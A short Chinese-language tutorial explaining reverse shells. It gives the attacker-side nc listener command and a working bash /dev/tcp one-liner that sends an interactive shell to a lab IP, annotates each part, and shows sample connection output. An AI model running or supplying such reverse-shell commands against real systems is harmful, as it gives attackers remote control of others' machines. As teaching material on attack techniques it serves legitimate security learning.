反弹Shell
0x00 理解
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端
使用场景:
- 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
- 目标机端口被占用。
- 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
- 目标机随机可能性多,无法掌控
0x01 过程
1、攻击者主机开启监听
nc -lvp 4444
# 参数 l 代表入站,v 代表输出信息级别,p 指定监听的端口
2、目标机上运行反弹命令
bash -i >& /dev/tcp/192.168.112.1/4444 0>&1
bash -i # 打开一个交互的bash
>& # 将标准错误输出合并并重定向到标准输出,也可以写成 &>
/dev/tcp/192.168.112.1/4444 #意为调用socket,建立socket连接,其中192.168.112.1为要反弹到的主机IP,4444为端口
0>&1 # 标准输入重定向到标准输出,实现你与反弹出来的shell的交互,可以接受用户输入,0>&1 和 0<&1 是相同的作用
# /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
3、成功后攻击者拿到目标机的shell
nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.112.1] from 192.168.112.188 [192.168.112.188] 60436
用什么权限的用户反弹,就拥有什么用户的权限